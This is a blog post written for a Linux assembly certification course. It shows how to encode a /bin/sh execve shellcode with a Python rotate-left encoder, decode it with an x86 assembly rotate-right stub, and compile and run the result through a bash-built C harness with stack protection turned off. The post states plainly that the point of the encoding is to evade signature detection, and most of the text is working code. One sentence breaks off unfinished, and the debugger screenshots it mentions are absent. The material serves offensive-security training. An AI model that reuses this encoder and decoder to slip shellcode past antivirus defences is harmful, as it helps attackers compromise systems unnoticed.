Monday, January 5, 2015

4. ROR/ROL encoder

The exam at Securitytube Linux Assembly Expert course consists of creating or analyzing shellcodes. This is the fourth assignment, where I have to create a shellcode encoder (in any language) and a decoder (in assembly).


Encoding a shellcode has an advantage of evading signature detection. Although there are many 

Let's start with ROL (rotate left) encoding the /bin/sh shellcode with some Python magic.

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) encoded = "" encoded2 = "" print 'Encoded shellcode ...' max_bits = 8 offset = 1 for x in bytearray(shellcode): value = x newval = rol(value, offset, max_bits) #print("\\x%02x" % (value,offset, newval)) encoded += '\\x' encoded += '%02x' % newval encoded2 += '0x' encoded2 += '%02x,' % newval print encoded print encoded2 print 'Len: %d' % len(bytearray(shellcode))

And use the output in the ROR decoder shellcode:
global _start
section .text _start: jmp short call_decoder decoder: pop esi xor ecx, ecx mov cl, 25 ;25 byte is the shellcode size decode: ror byte [esi], 0x1 ;ror decode with 1 offset inc esi loop decode jmp short Shellcode call_decoder: call decoder Shellcode: db 0x62,0x81,0xa0,0xd0,0x5e,0x5e,0xe6,0xd0,0xd0,0x5e,0xc4,0xd2,0xdc,0x13,0xc7,0xa0,0x13,0xc5,0xa6,0x13,0xc3,0x61,0x16,0x9b,0x01 ;the rol encoded shellcode

And finally, the script to configure, build and run the shellcodes:
#!/bin/bash
echo 'Usage ./all_compile.sh source_file . E.g. ./all_compile.sh decoder where decoder.nasm is the source file' echo '[+] Assembling with Nasm ... ' nasm -f elf32 -o $1.o $1.nasm echo '[+] Linking ...' ld -melf_i386 -o $1 $1.o echo '[+] Dumping shellcode ...' echo '' > shellcode.asm for i in `objdump -d $1 | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" >> shellcode.asm; done echo '[+] Creating new shellcode.c ...' cat > shellcode.c <<EOF #include<stdio.h> #include<string.h> unsigned char code[] ="\\ EOF echo -n "\\" >> shellcode.c cat shellcode.asm >> shellcode.c cat >> shellcode.c <<EOF "; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } EOF echo '[+] Compiling shellcode.c ...' gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c echo '[+] Done! Run ./shellcode to execute!'

Let's see in dbg what happens. First we can see some ugly code (first red square).
But the second red square looks better.
Especially when we disassamble it.


Let's test this!

Happy shell! :)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student-ID: SLAE - 607

No comments:

Post a Comment